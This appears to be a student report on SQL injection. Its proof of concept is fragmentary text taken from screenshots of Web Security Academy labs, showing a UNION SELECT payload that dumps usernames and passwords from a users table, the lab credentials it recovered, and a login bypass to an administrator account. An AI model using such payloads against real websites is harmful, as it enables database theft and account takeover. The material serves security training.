

HACKING WEBSITES

OBJECTIVE

The objective of this report includes understanding of potential weaknesses in web systems, assessing the impact of these vulnerabilities, and providing recommendations for mitigation.

By conducting controlled security assessments, the project aims to contribute to the broader objective of enhancing website security and safeguarding user data.

We will see the SQL Injection methodology in this report.

TOOLS

The tools required are a web browser and knowledge of SQL Injection techniques.

METHODOLOGY

There are two ways for hacking websites which includes Script kiddie methods such as Keylogger and phishing. The other way is by use of Offensive hacking methods by using Terminal and Scripting.

SQL injection is a code injection technique used to attack data-driven applications, in which malicious SQL statements are inserted into an entry field for execution (e.g. to dump the database contents to the attacker).

SQL injection must exploit a security vulnerability in an application's software, for example, when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and unexpectedly executed. SQL injection is mostly known as an attack vector for websites but can be used to attack any type of SQL database.

Below example shows the process involved in SQL Injection.

PROOF OF CONCEPT

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Web Application Security

Lab: SQL injection vulnera...

Lab: SQL injection UNION

SQL injection UNION attac...

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Academy

column

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WE LIKE TO
SHOPClothing, shoes and accessories' UNION SELECT
NULL,username||'~'||password FROM users--

Refine your search:

All Clothing, shoes and accessories Corporate gifts Food & Drink Gifts Lifestyle

The Trolley-ON

View details

First Impression Costumes

View details

carlos~er2xk5r01b0z9slt36f9

The Alternative Christmas Tree

View details

wiener~m7jtoc5dkl6c6wt1a7ve

Vintage Neck Defender

View details

administrator~o9galdrbieg90jo85sf5

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Web Application Security

Lab: SQL injection vulnera...

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https://0a840085044ecef5805b5d1e002d0082.web-security-academy.net/login

WebSecurity Academy

SQL injection UNION attack, retrieving multiple values in a single column

LAB Not solved

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Login

Username

Password

Log in

WebSecurity Academy SQL injection UNION attack, retrieving multiple values in a single column LAB Not solved

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Home | My account | Log out

My Account

Your username is: wiener

Email

dencydip

Update email

WebSecurity Academy SQL injection vulnerability allowing login bypass LAB Solved

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My Account

Your username is: administrator

Your email is: dency@gmail.com

Email

Update email

87°F Partly sunny Search 4:15 PM 8/26/2023

CONCLUSION

In summary, ethical hacking stands as a proactive defense strategy. By identifying vulnerabilities, evaluating risks, and fortifying web systems, it safeguards data, maintains trust, and fosters cybersecurity awareness. Adhering to legal and ethical guidelines, ethical hacking contributes to a secure digital landscape and a culture of protection.